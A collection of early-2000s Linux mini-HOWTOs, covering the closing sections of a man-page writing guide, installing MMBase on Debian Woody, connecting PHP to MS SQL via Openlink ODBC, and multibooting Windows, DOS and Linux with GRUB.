Any reference to another man page (or to the subject of the current man page) is in bold. If the manual section number is given, it is given in roman, without any spaces:

    .BR man (7)

Acronyms look best when typeset in small type face. So I recommend

    .SM UNIX

    .SM ASCII

    .SM TAB

    .SM NFS

    .SM LALR(1)

9) Polishing your man page

Following are some guidelines that increase reliability, readability and 'formatability' of your documentation.

  • Test examples to make sure they work (use cut and paste to give your shell the exact wording from the man page). Copy the output of your command into your man page, don't just type what you think your program will print.
  • Proof read, ispell, and have someone else read it, especially if you are not a native English speaker. The HOWTO you are reading has passed the latter test (special thanks to Michael Miller for a particular heroic contribution! All the remaining rough edges are entirely my fault). Additional volunteers are always welcome.
  • Test your man page: Does groff complain when you format your man page? It's nice to have the groff command line in a comment. Does the man(1) command complain when you call man yourprog? Does it produce the expected result? Will xman(1x) and tkman(1tk) cope with your manual? XFree86 3.1 has xman 3.1.6 - X11R6, it will try to uncompress using
    gzip -c -d < %s > %s
    zcat < %s > %s
  • Will makewhatis(8) be able to extract the one-line description from the NAME section?

10) How do I get a plain text man page without all that ^H^_ stuff?

Have a look at col(1), because col can filter out backspace sequences. Just in case you can't wait that long:

funnyprompt$ groff -t -e -mandoc -Tascii manpage.1 | col -bx > manpage.txt

The -t and -e switches tell groff to preprocess using tbl and eqn. This is overkill for man pages that don't require preprocessing but it does no harm apart from a few CPU cycles wasted. On the other hand, not using -t when it is actually required does harm: the table is terribly formatted. You can even find out (well, "guess" is a better word) what command is needed to format a certain groff document (not just man pages) by issuing

funnyprompt$ grog /usr/man/man7/signal.7
groff -t -man /usr/man/man7/signal.7

"Grog" stands for "GROff Guess", and it does what it says--guess. If it were perfect we wouldn't need options any more. I've seen it guess incorrectly on macro packages and on preprocessors. Here is a little perl script I wrote that can delete the page headers and footers, thereby saving you a few pages (and mother nature a tree) when printing long and elaborate man pages. Save it in a file named strip-headers & chmod 755.

    #!/usr/bin/perl -wn
    #  make it slurp the whole file at once:
    undef $/;
    #  delete first header:
    s/^\n*.*\n+//;
    #  delete last footer:
    s/\n+.*\n+$/\n/g;
    #  delete page breaks:
    s/\n\n+[^ \t].*\n\n+(\S+).*\1\n\n+/\n/g;
    #  collapse two or more blank lines into a single one:
    s/\n{3,}/\n\n/g;
    #  see what's left...
    print;

You have to use it as the first filter after the man command as it relies on the number of newlines being output by groff. For example:

funnyprompt$ man bash | strip-headers | col -bx > bash.txt

11) How do I get a high quality PostScript man page?

funnyprompt$ groff -t -e -mandoc -Tps manpage.1 > manpage.ps

Print or view that using your favorite PostScript printer/viewer. See question 10) for an explanation of the options.

12) How do I get `apropos' and `whatis' to work?

Suppose you wonder what compilers are installed on your system and how these can be invoked. To answer this (frequently asked) question you say

funnyprompt$ apropos compiler
f77 (1) - Fortran 77 compiler
gcc (1) - GNU C and C++ compiler
pc (1) - Pascal compiler

Apropos and whatis are used to quickly report which man page has information on a certain topic. Both programs search a number of files named `whatis' that may be found in each of the manual base directories. As previously stated, the whatis data base files contain a one line entry for any man page in the respective directory tree. In fact, that line is exactly the NAME section (to be precise: joined on one line and with hyphenation removed; note that the section is mentioned within parentheses). The whatis database files are created with the makewhatis(8) program. There are several versions around, so please refer to the man page to determine what options are available. In order for makewhatis to be able to extract the NAME sections correctly it is important that you, the manual writer, adhere to the NAME section format described under question 3). The differences between apropos and whatis are simply where in the line they look, and what they are looking for. Apropos (which is equivalent to man -k) searches the argument string anywhere on the line, whereas whatis (equivalent to man -f) tries to match a complete command name only on the part before the dash. Consequently, `whatis cc' will report if there is a cc manual and remain quiet for gcc.

Corrections and suggestions welcome!

A) Copying conditions

Copyright 1995-2001 by Jens Schweikhardt. All rights reserved.

 "Two clause" BSD License:

 Redistribution and use in source and binary forms, with or without
 modification, are permitted provided that the following conditions
 are met:
 1. Redistributions of source code must retain the above copyright
    notice, this list of conditions and the following disclaimer.
 2. Redistributions in binary form must reproduce the above copyright
    notice, this list of conditions and the following disclaimer in the
    documentation and/or other materials provided with the distribution.

 THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
 INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
 IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 POSSIBILITY OF SUCH DAMAGE.

B) Acknowledgements

  • Michael Miller for proofreading the whole HOWTO (in February 2001); Gordon Torrie for many helpful grammar remarks (in August 2001). Any remaining grammar or style bogons are entirely my fault.
  • S.u.S.E. (.de) (or .com) who are the only distributor to keep sending me a free copy of their latest product, acknowledging my work as a howto author.

If your name is missing here, drop me a note.

C) Changelog

  • March 6 2001: HTML source now passes weblint -pedantic. Paragraph 6: Added workarounds for tbl screw-ups. Added appendices B) and C). Added RCS Id.
  • August 9 2001: Howto put under a two clause BSD license.
  • August 20 2001: Improved grammar. Use a numbered list for the TOC.
  • October 28 2001: Added refs to mdoc(7), mdoc.samples(7) and groff_man(7).


MMBase Mini-HOWTO: Installation on Debian Woody

Casper Joost Eyckelhof <joost@dnd.utwente.nl>
University of Twente

v0.1, 01 October 2001

This document briefly describes how to set up MMBase on a Debian Gnu/Linux (Woody) system while using as much default packages as possible.

1. Introduction

  • 1.1 Homepage
  • 1.2 Disclaimer
  • 1.3 Copyright
  • 1.4 Acknowledgements

2. What is MMBase?

3. Prerequisites

  • 3.1 Standard packages
  • 3.2 Non standard package(s)

4. Getting MMBase and setting up some things

  • 4.1 Getting MMBase
  • 4.2 Getting mm.mysql
  • 4.3 Creating a database for MMBase
  • 4.4 Setting MMBase as tomcat ROOT

5. Configuration files

  • 5.1 apache
  • 5.2 tomcat
  • 5.3 MMBase

6. Getting more help


MMBase Mini-HOWTO: Installation on Debian Woody: Introduction

 Next Previous Contents

1. Introduction

1.1 Homepage

If you got this document from a Linux HOWTO mirror site or a CD-ROM, you might want to check back to the MMBase Mini-HOWTO home page to see if there's a newer version around.

This document only covers a very small portion of MMBase installation, for the official documentation visit MMBase home page.

1.2 Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk.

All copyrights are held by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Finally, this is my first HOWTO, my first experience with linuxdoc and I am no expert on MMbase either. I am just trying to share my solutions to some problems I encountered while installing MMBase on a Debian system.

1.3 Copyright

Copyright (c) 2001 Casper Joost Eyckelhof, All rights reserved. This is free documentware; you can redistribute it and/or modify it under the terms of version 2 or later of the GNU General Public License.

1.4 Acknowledgements

I would like to thank a number of people for helping me during my quest for a clean installation. Although I do not know their names, their nicknames on irc are: keesj, jdg, flax, scb2. I hope they forgive me for not trying to find out their real names.

I would also like to thank my employer, the University of Twente for allowing me to write this document during working hours.


MMBase Mini-HOWTO: Installation on Debian Woody: What is MMBase?

 Next Previous Contents

2. What is MMBase?

On their website, the authors say the following about it:

  • MMBase is an opensource publishing system. MMBase can be used to create big websites that can be maintained easily.
  • MMBase separates content from layout, in this way information can be reused easily.
  • MMBase is very unique in the way it maintains its information. MMBase creates an object cloud that is a digital representation of the 'real' world objects that are of interest for you.

In this document I will describe how to get MMBase running on a Debian Woody System, using as many standard packages as possible. Though it is very easy to run MMBase using their automatic installation tools, you will end up with their version of a webserver, servlet engine and database.

After a few days of playing with my own install, I think I can help others by describing which choices I made to get things running. I do not claim this is the only way, or the best way! But it worked for me :)

The version of MMBase used is 1.4. Ofcourse everything might be different with another version.

MMbase can run together with various webservers, databases, servlet engines and JRE's. The programs/packages/versions I chose are:

  • Apache (1.3.19)
  • MySQL (3.23)
  • Tomcat (3.2.3)
  • Java (1.3)
  • mod-jk (3.2.3)

Attention: The version numbers are those that were available in the Woody distribution at the time of writing. Except for Java, which came from a different location. See Non standard package(s).


MMBase Mini-HOWTO: Installation on Debian Woody: Prerequisites

 Next Previous Contents

3. Prerequisites

You will need a working Debian Woody installation, including apt, and make sure the following packages are installed and working correctly.

3.1 Standard packages

  • apache
  • tomcat
  • mysql-server
  • libapache-mod-jk
  • imagemagick

If these packages are not installed, you can do so by typing

  apt-get install packagename
where packagename is one of the above.

Note: naturally you will need al dependencies too, but apt will take automatically care of that.

3.2 Non standard package(s)

While writing this document, Woody only contains java 1.1, but for MMBase version 1.2 or higher is needed. I installed the packages from Blackdown. A list of Blackdown mirrors is at http://www.blackdown.org/java-linux/mirrors.html.

I added the following to my /etc/apt/sources.list , but the path might be different for different mirrors:

  deb ftp://ftp.nluug.nl/pub/os/Linux/java/jdk/debian woody non-free

After that you can just type

  apt-get install j2sdk1.3

Note: Although it must be possible to have more JRE's installed next to eachother, I wouldn't recommend it if it's not absolutely neccesary.


MMBase Mini-HOWTO: Installation on Debian Woody: Getting MMBase and setting up some things

 Next Previous Contents

4. Getting MMBase and setting up some things

4.1 Getting MMBase

Now that you have all supporting packages up and running (you did follow the instructions in the previous section, didn't you?) get yourself a copy of MMBase. As said before, this document describes the works for MMbase version 1.4.

Download MMBase from http://www.mmbase.org/releases/MMBase-1.4.zip with a browser, or even easier:

  wget http://www.mmbase.org/releases/MMBase-1.4.zip

In this document I will assume that MMbase will be unpacked in /usr/local/mmbase/ so do something like this

  mkdir /usr/local/mmbase
  unzip MMBase-1.4.zip -d /usr/local/mmbase

4.2 Getting mm.mysql

You will also need mysql.jar (JDBC driver for MySQL) which can be downloaded from http://mmmysql.sourceforge.net/.
Put the file in your /usr/local/mmbase/lib/ directory and create a symbolic link to mysql.jar.

  cd /usr/local/mmbase/lib
  wget http://mmmysql.sourceforge.net/dist/mm.mysql-2.0.2-bin.jar
  ln -s mm.mysql-2.0.2-bin.jar mysql.jar

4.3 Creating a database for MMBase

MMbase needs a database and a user that has full rights on that database. The user seems to needs rights via localhost and the real hostname. This was not entirely clear to me.

Issue the following commands on the MySQL prompt. I chose a database called MMBase, a user named mmbaseuser and the password secret.

CREATE DATABASE MMBase
USE MMBase
GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP ON MMBase.* TO mmbaseuser@'%' IDENTIFIED BY 'secret';
GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP ON MMBase.* TO mmbaseuser@localhost IDENTIFIED BY 'secret'
GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP ON MMBase.* TO mmbaseuser@realhostname IDENTIFIED BY 'secret'
flush privileges;

4.4 Setting MMBase as tomcat ROOT

This probably isn't the cleanest way to do it, but we need to let tomcat know about MMBase, which I did by making a symbolic link from /var/lib/tomcat/webapps/ROOT to /usr/local/mmbase/html.

  localhost# ls -la /var/lib/tomcat/webapps/ROOT
  lrwxrwxrwx    1 root     root           22 Sep 24 12:01 /var/lib/tomcat/webapps/ROOT -> /usr/local/mmbase/html


MMBase Mini-HOWTO: Installation on Debian Woody: Configuration files

 Next Previous Contents

5. Configuration files

There are various configuration files that need some adjustment or have to be created.

5.1 apache

In my setup, I created a virtual host to handle all MMBase request, but using a few Alias directors it cannot be too hard to include MMBase somewhere in your normal web tree.

...
LoadModule jk_module /usr/lib/apache/1.3/mod_jk.so
...
<VirtualHost x.y.z.a:80>
   ServerName mmbase.idonotexist.com
   DocumentRoot /usr/local/mmbase/html
   # mod_jk specific
   <IfModule mod_jk.c>
      JkMount /*.jsp ajp12
      JkMount /*.shtml ajp12
      JkMount /servlet/* ajp12
      JKMount /mmservlets/* ajp12
      JKMount /*.db ajp12
      <Directory "/usr/local/mmbase/html/">
          Options Indexes FollowSymLinks
      </Directory>
      <Location "/mmbase/WEB-INF/">
         AllowOverride None
         deny from all
      </Location>
   </IfModule>
</VirtualHost>

#Config for mod_jk :
<IfModule mod_jk.c>
   AddModule mod_jk.c
   JkWorkersFile /usr/share/tomcat/conf/workers.properties
   JkLogFile /usr/share/tomcat/logs/mod_jk.log
   JKLogLevel info
</IfModule>

5.2 tomcat

Make sure that in the file /usr/share/tomcat/conf/workers.properties the line workers.java_home=/usr/lib/j2sdk1.3 appears, and not a reference to another java version.

The file /etc/tomcat/server.xml needs 2 additions when using virtual hosts. If you are not, you can omit the Host-directive.

...
<!-- Request Interceptor for mmbase-jumpers -->
        <RequestInterceptor
        className="org.mmbase.servlet.jumpersInterceptor" />
...
<Host name="mmbase.idonotexist.com" >
           <Context path=""
           docBase="/usr/local/mmbase/html" />
</Host>

Both /var/lib/tomcat/webapps/ROOT/WEB-INF/web.xml and /etc/tomcat/web.xml have the same content. This must be wrong but it solved a problem at my system and I haven't seen any negative side effects yet. In theory only /var/lib/tomcat/webapps/ROOT/WEB-INF/web.xml should be edited, for that is the application specific configuration. The /etc/tomcat/web.xml is a global tomcat configuration file. If anybody knows what I'm doing wrong, please tell me, so I can update it in the next revision.

<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN" "http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">

<web-app>
      <context-param>
          <param-name>mmbase.config</param-name>
          <param-value>/usr/local/mmbase/config/default/</param-value>
      </context-param>

      <!-- Performance -->
      <servlet>
      <servlet-name>performance</servlet-name>
      <servlet-class>org.mmbase.servlet.performance</servlet-class>
      <load-on-startup>1</load-on-startup>
      </servlet>

      <!-- servscan -->
      <servlet>
      <servlet-name>servscan</servlet-name>
      <servlet-class>org.mmbase.servlet.servscan</servlet-class>
      <load-on-startup>2</load-on-startup>
      </servlet>

      <!-- servdb -->
      <servlet>
      <servlet-name>servdb</servlet-name>
      <servlet-class>org.mmbase.servlet.servdb</servlet-class>
      <load-on-startup>3</load-on-startup>
      </servlet>

      <servlet-mapping>
      <servlet-name>performance</servlet-name>
      <url-pattern>/performance.html</url-pattern>
      </servlet-mapping>

      <servlet-mapping>
      <servlet-name>servscan</servlet-name>
      <url-pattern>*.shtml</url-pattern>
      </servlet-mapping>

      <servlet-mapping>
      <servlet-name>servdb</servlet-name>
      <url-pattern>/img.db</url-pattern>
      </servlet-mapping>

      <servlet-mapping>
      <servlet-name>servdb</servlet-name>
      <url-pattern>/xml.db</url-pattern>
      </servlet-mapping>

      <servlet-mapping>
      <servlet-name>servdb</servlet-name>
      <url-pattern>/dtd.db</url-pattern>
      </servlet-mapping>

      <taglib>
        <taglib-uri>http://www.mmbase.org/mmbase-taglib-0.8</taglib-uri>
        <taglib-location>/WEB-INF/mmbase-taglib.tld</taglib-location>
      </taglib>

      <!-- add default.jsp and index.shtml to the default index files -->
      <welcome-file-list>
         <welcome-file>default.jsp</welcome-file>
         <welcome-file>index.jsp</welcome-file>
         <welcome-file>index.shtml</welcome-file>
         <welcome-file>index.html</welcome-file>
      </welcome-file-list>
</web-app>

The debian specific start/stop file was edited to get the CLASSPATH right and to make sure that java 1.3 was used. This too is an ugly hack, and should be addressed somewhere else, but hey! it works :)
Add the following to /etc/init.d/tomcat

  ...
  JDK_DIRS="/usr/lib/jdk1.1 /usr/lib/ibm-java/jdk118 /usr/lib/j2sdk1.3 /usr/lib/j2re1.3"
  CLASSPATH="/usr/lib/j2re1.3/lib/rt.jar:/usr/local/mmbase/lib/mysql.jar:/usr/local/mmbase/build/classes/:/usr/local/mmbase/lib/log4j.jar:$CLASSPATH"
  export CLASSPATH
  ...

5.3 MMBase

Although many things have to be configured on MMbase itself, I have added a few subjects to this mini-HOWTO.

The database access should be set in /usr/local/mmbase/config/default/modules/jdbc.xml :

  <property name="url">
     jdbc:mysql://localhost/MMBase?user=mmbaseuser&password=secret
  </property>

The builder for images contains a path to convert that is not Debian-compliant. Change /usr/local/mmbase/config/default/builders/images.xml

<properties>
        <property name="ImageConvert.ConverterCommand">bin/convert</property>
        <property name="ImageConvert.ConverterRoot">/usr/</property>
        <property name="ImageConvertClass">org.mmbase.module.builders.ConvertImageMagick</property>
        <property name="MaxConcurrentRequests">3</property>
</properties>


MMBase Mini-HOWTO: Installation on Debian Woody: Getting more help

 Next Previous Contents

6. Getting more help

There are various sources for more help on most of the subject covered in this mini-HOWTO. All packages have their own documentation. Some links that really helped me are:

  • Apache: http://httpd.apache.org/docs/
  • mod_jk: http://jakarta.apache.org/tomcat/tomcat-3.2-doc/mod_jk-howto.html
  • Tomcat: http://jakarta.apache.org/tomcat/tomcat-3.2-doc/uguide/tomcat_ug.html
  • MMBase: Click on Documentation on http://www.mmbase.org/
  • Java: http://java.sun.com/

Another great source for help is channel #mmbase on ircnet, usually there are some developers there.


Connecting to MS SQL 6.x+ via Openlink/PHP/ODBC mini-HOWTO

Zili Zhang, silen@silen.net

3.0, 1999-07-15

How to connect to MS SQL 6.x+ database server via ODBC functions of PHP3(3.0.1x or above) compiled with Openlink drivers under Linux.

1. Introduction

  • 1.1 Copyright
  • 1.2 Disclaimer

2. Openlink

  • 2.1 On the Client
  • 2.2 On the Server
  • 2.3 Configuration Before Test
  • 2.4 Text with odbctest

3. PHP

4. Example

5. FAQ


Connecting to MS SQL 6.x+ via Openlink/PHP/ODBC mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This document describes how to connect to MS SQL 6.x+ database server via ODBC functions of PHP3(3.0.1x or above) compiled with Openlink drivers under Linux.

In the Unix world, people may hate to be invoked with any M$ related software. However, in the real world, the boss may require you to store data in a MS SQL database on NT and run web application on Linux. What to do? Quit the job or sit down to read this document? If you choose latter, I will give you a detailed installation guide so that you can keep the job for a while. It is a How-to guide, not a Why-so guide. So don't ask me why abc instead of cba. I don't know either.

PHP is becoming more and more popular in web programmers, mainly because it can be configured to connect to various databases like Oracle, MySQL, Solid and so on. But for a MS SQL server, the problem is different. Though you can use PHP's Sybase-ct support features to directly connect to MSSQL, many people (at least me) prefer to connect via ODBC.

Utilizing Openlink ODBC middleware, you can use those ODBC_xxxx functions to connect to all the database Openlink has a driver for. You have to install Openlink Linux client and Server middleware and re-compile PHP to support ODBC functions. In the end, I made a script sample for reference.

1.1 Copyright

Copyright (c) 1999 by Zili Zhang

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be forwarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  • Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.
  • License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.
  • Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

1.2 Disclaimer

The following document is offered in good faith as comprising only safe configuration and procedures. No responsibility is accepted by the author for any loss or damage caused in any way to any person or equipment, as a direct or indirect consequence of following these instructions.

This document was derived from the plain text entry found on http://www.silen.net/openlink-php-odbc.txt.


Connecting to MS SQL 6.x+ via Openlink/PHP/ODBC mini-HOWTO: Openlink

 Next Previous Contents

2. Openlink

This step is a little bit complicated. You have to done works on both sides of your Linux client machine and NT server.

2.1 On the Client

  • From ftp://www.openlinksw.com/, download install.sh and likoxglc.taz (for a libc6 system) or likoxxxx.taz (for a libc5 system).
  • mkdir /usr/local/openlink
  • copy install.sh and likoxglc.taz into /usr/local/openlink
  • cd /usr/local/openlink
  • sh install.sh, the install script will ask you the owner and group of the program. It will extract things to odbcsdk directory under /usr/local/openlink and copy a .odbc.ini into the owner's home directory.

2.2 On the Server

  • From ftp://www.openlinksw.com/, download ntadm65x.zip onto your NT server.
  • unzip ntadm65x.zip
  • cd disk1 - directory of where you unzip the package.
  • execute setup and follow the instructions to install the Openlink middleware.
  • remember to start Openlink request broker from start menu or service control panel.

2.3 Configuration Before Test

  • keep the .odbc.ini file in your home directory.
  • copy the udbc.ini from the bin directory of Openlink middleware install directory to the /etc directory of client.
  • customize /etc/udbc.ini. In [dsn_sql6] section, change the host, database, username and password entries to fit your server settings. Here is part of my /etc/udbc.ini:
      [dsn_sql6]
  Host            = 10.0.0.1
  ServerType      = sql6
  ;ServerOptions  =
  Database        = pubs
  ;FetchBufferSize = 30
  UserName        = sa
  Password        = xxxxxxx
  • add to your environment LD_LIBRARY_PATH='/usr/local/openlink/odbcsdk/lib' and export it. In csh shell, type: setenv LD_LIBRARY_PATH /usr/local/openlink/odbcsdk/lib

2.4 Text with odbctest

  • cd /usr/local/openlink/odbcsdk/examples
  • ./odbctest
  • type: dsn=dsn_sql6
  • when 'sql>' appears, you can execute your sql clauses to test the connection.


Connecting to MS SQL 6.x+ via Openlink/PHP/ODBC mini-HOWTO: PHP

 Next Previous Contents

3. PHP

Now we have Openlink and can go to PHP compilation. Note for this version, PHP 3.0.10 or above is required to make things work.

  • From http://www.php.net, download php-3.0.11.tar.gz
  • Perform the following steps:
    gzip -dc php-3.0.11.tar.gz|tar -xof -

cd php-3.0.11

./configure --with-openlink (--with-mysql --with-gd=/usr/local/gd1.3 --enable-track-vars)

    NOTE: My configuration is to run PHP as CGI mode, support mysql,
          as well. Your configuration may be different.

make --silent

    NOTE: Don't mind if there are warning messages.

make install
    These will install php executable into /usr/local/bin. Before you execute php, copy the library files under /usr/local/openlink/odbcsdk/lib into /usr/lib to make it easier for php to find openlink libraries (I know there are better methods).


Connecting to MS SQL 6.x+ via Openlink/PHP/ODBC mini-HOWTO: Example

 Next Previous Contents

4. Example

Please refers to PHP manual for ODBC functions. Here is my example code odbc.php3: (Note that odbc_num_rows() will not return anything, so you must repeately call odbc_fetch_row() to get that number.)

<?
/* some environment variables, you can test to comment them out to see
 * if things still work.
 */
putenv("LD_LIBRARY_PATH=/usr/local/openlink/odbcsdk/lib");
putenv("UDBCINI=/etc/udbc.ini");
putenv("ODBCINI=/root/.odbc.ini");
putenv("DebugFile=/tmp/udbc.out");      // debug trace output

$dsn="DSN=dsn_main";    // note 'DSN=' is required
$user="sa";
$password="xxxxxxx";

$sql="SELECT * FROM titles";

/* directly execute mode                        */
if ($conn_id=odbc_connect("$dsn",$user,$password)){
        echo "connected to DSN: $dsn<br><br>";
        if($result_id=odbc_do($conn_id, $sql)) {
                echo "executing '$sql'<br><br>";
                        $num_fields=odbc_num_fields($result_id);
                        if($num_fields>0){
                                echo "Number of fields:
$num_fields<br>";
                                for($i=1;$i<=$num_fields;$i++){

$field_name[$i-1]=odbc_field_name($result_id,$i);
                                }
                                $num_rows=0;
                                while(odbc_fetch_row($result_id)){
                                        for($i=1;$i<=$num_fields;$i++){

$result[$num_rows][$field_name[$i-1]]=odbc_result($result_id,$i);
                                        }
                                        $num_rows++;
                                }
                                echo "Number of rows: $num_rows<br>";
                        }else{
                                echo "not a field returned. <br><br>";
                        }
                echo "Results:<br>";
                for($i=0;$i<sizeof($result);$i++){
                        while(list($key,$value)=each($result[$i])){
                                echo "$i:$key=$value<br>";
                        }
                }
                echo "freeing result<br><br>";
                odbc_free_result($result_id);
        }else{
                echo "can not execute '$sql'<BR><BR>";
        }
        echo "closing connection $conn_id";
        odbc_close($conn_id);
}else{
        echo "can not connect to DSN: $dsn<br><br>";
}
?>


Connecting to MS SQL 6.x+ via Openlink/PHP/ODBC mini-HOWTO: FAQ

 Next Previous Contents

5. FAQ

  • Does this exact procedure work for MSSQL 7.0?

    Yes, Openlink will upgrade their software to 7.0, but I don't know when.

  • I followed this document step by step to install the openlink drivers but I stopped at the "install ntadm65x.zip" step. After I installed ntadm65x I tried to start the OpenLink Request Broker and got the error:
     unable to open the service control manager <5>
 press RETURN to exit oplrqb
    Could you please tell me how I can fix that problem?

    This should be a problem with NT itself. try restart the computer and then start openlink service from Control Panel/service manager.


Multiboot with GRUB Mini-HOWTO

Ivan Kanis, ivank@juliva.com

v1.0, 2001-01-15

This document describes how to install Windows 98, Windows 2000, DOS and Linux using GRUB.

1. Why ?

2. Installation procedure

  • 2.1 Preparing boot floppies
  • 2.2 Installing linux
  • 2.3 Installing GRUB
  • 2.4 Installing windows 2000:
  • 2.5 Installing DOS.
  • 2.6 Installing Windows 98
  • 2.7 The final touch

3. References

4. Feedback


Multiboot with GRUB Mini-HOWTO: Why ?

 Next Previous Contents

1. Why ?

I wanted to be able to boot all operating systems without having to go through multiple menus. I know I can install NT on top of win9x on top of DOS. I would have to go through the NT menu then the win9x menu in order to boot DOS. I wanted to be able to boot all these operating systems at once.

This turned out to be quite a challenge. The problem with Microsoft operating system is that they all want to boot from the primary partition. This is where GRUB comes in. It can hide primary partitions. You can use up to 3 partitions to install Microsoft operating systems. GRUB will hide the other 2 partitions so that the operating systems will not see it. This means you will need another partition to share data between DOS, Win9x and Windows 2000. The 4th partition is used for the extended partition.

I also wanted a menu system and GRUB provides a nice one.

Another nice feature of GRUB is that it supports reiserfs so I don't need to keep my /boot file in a separate ext2 partition.


Multiboot with GRUB Mini-HOWTO: Installation procedure

 Next Previous Contents

2. Installation procedure

2.1 Preparing boot floppies

You will need 3 floppy disks. Make the first floppy a DOS bootable disk. Copy fdisk.exe and sys.exe onto this floppy disk.

FORMAT /S A:
COPY FDISK.EXE A:
COPY SYS.EXE A:

Use your second floppy disk to make a Windows 98 emergency disk. You will use the third floppy for GRUB shortly.

2.2 Installing linux

Install your favorite distribution of linux. You will need to use fdisk to partition your hard disk. Calculate ahead of time how much disk space each of your operating systems will take.

Here is how I partitioned my hard disk:

   Device Boot    Start       End    Blocks   Id  System
/dev/hda1             1         6     48163+  16  Hidden FAT16
/dev/hda2             7        19    104422+  16  Hidden FAT16
/dev/hda3            20       593   4610655   1b  Hidden Win95 FAT32
/dev/hda4           594      3737  25254180    5  Extended
/dev/hda5           594       848   2048256    6  FAT16
/dev/hda6           849      2123  10241406    7  HPFS/NTFS
/dev/hda7          2124      2140    136521   82  Linux swap
/dev/hda8          2141      2523   3076416   83  Linux

My first partition is for booting Windows 2000. 10MG should be plenty to do that. This partition will only contains the file necessary to boot NT such as boot.ini, ntldr, ntdetect.com, etc... NT will reside in partition 6 in my example. This partition is Hidden FAT16.

The second partition is for DOS. I deemed 100M sufficient. This is FAT16 too

The third partition is for Win9x. I gave it 5G and made it FAT32 for performance.

Next create the extended partition for the remaining of your hard disk. This shows up as partition 4 on fdisk.

Create a 2GB partition. This partitions is used to share data between all operating systems. Make sure that all the sum of all above partitions are less than 8GB. This is a DOS limitation.

Next create your Windows 2000 partition. I gave it 10G since this breed of windows is a bloated pig. I made it a HPFS/NTFS partition for speed.

Next add your swap partition and linux partition. Make sure you do not have a separate partition for /boot. Things look better in GRUB if you keep /boot in the root partition.

After you have installed linux go ahead and format the fat16 partitions:

mkdosfs /dev/hda1
mkdosfs /dev/hda2
mkdosfs /dev/hda6

2.3 Installing GRUB

Make sure you have the latest version of GRUB. I am using version 0.5.96.1. The version that came with my distribution was out of date and gave me a lot of grief. You can download the latest version at http://www.fsf.org.

Now you'll want to install GRUB on the floppy disk. You don't want to install it on the hard disk yet because Windows 2000 will overwrite it.

grub-install '(fd0)'

Create the following menu.lst for GRUB. This file lives in /boot/grub.

#
# Sample boot menu configuration file
#

# Boot automatically after a minute.
timeout 60

# By default, boot the second entry.
default 1

# Fallback to the first entry.
fallback 0

title Windows 2000
unhide (hd0,0)
hide (hd0,1)
hide (hd0,2)
rootnoverify (hd0,0)
chainloader +1
makeactive

# For booting Linux
title  Linux
root (hd0,7)
kernel /boot/vmlinuz-2.2.17 root=/dev/hda8 video=matrox:vesa:261

title Windows 98
hide (hd0,0)
hide (hd0,1)
unhide (hd0,2)
rootnoverify (hd0,2)
chainloader +1
makeactive

title DOS 6.22
hide (hd0,0)
unhide (hd0,1)
hide (hd0,2)
rootnoverify (hd0,1)
chainloader +1
makeactive

# For booting Linux
title  Linux (single user)
root (hd0,7)
kernel /boot/vmlinuz-2.2.17 root=/dev/hda8 video=matrox:vesa:261 single

title Partition 2 (floppy)
hide (hd0,0)
unhide (hd0,1)
hide (hd0,2)
chainloader (fd0)+1

title Partition 3 (floppy)
hide (hd0,0)
hide (hd0,1)
unhide (hd0,2)
chainloader (fd0)+1

Check that you can boot linux with the floppy disk. If you are having trouble you can drop in GRUB's command line and figure out what is going on. GRUB is very well documented, if you have any trouble please take a look at the documentation.

2.4 Installing windows 2000:

I had to initialize the first partition before installing windows 2000. Insert the DOS startup disk and reboot your computer. Once you get to the DOS prompt do the followings:

FDISK /MBR
SYS C:

Now you can go ahead and install windows 2000. At some point Windows 2000 will prompt you for the partition on which you want to install. The partition you created with fdisk should show up as damaged or unformatted partition. Go ahead and select it.

To hide the Windows 2000 menu edit a file called boot.ini that should be in the C: drive. Change the timeout value from 30 to 0.

[boot loader]
timeout=0
default=multi(0)disk(0)rdisk(1)partition(1)\WINNT
[operating systems]
...

2.5 Installing DOS.

Insert the GRUB disk. When you see the menu insert the DOS boot disk. Select partition 2 (floppy) from the menu.Hit enter. This will boot the floppy disk and hide partition 1 and 3.

Run FDISK and check that the C: drive is partition 2. Next install DOS:

SYS C:

2.6 Installing Windows 98

Insert the GRUB disk. When you see the menu insert the Windows 98 Emergency disk. Select partition 3 (floppy) from the menu.Hit enter. This will boot the floppy disk and hide partition 1 and 2.

Run FDISK and check that the C: drive is partition 3. Next install Windows 98:

SYS C:

2.7 The final touch

Test that everything is working from GRUB:

You should be able to boot from all 4 operating systems from the GRUB floppy disk.

If everything looks right you can go ahead and install GRUB on your hard disk. From linux type:

grub-install /dev/hda

You should now be able to boot all 4 operating systems from the GRUB menu. Enjoy!


Multiboot with GRUB Mini-HOWTO: References

 Next Previous Contents

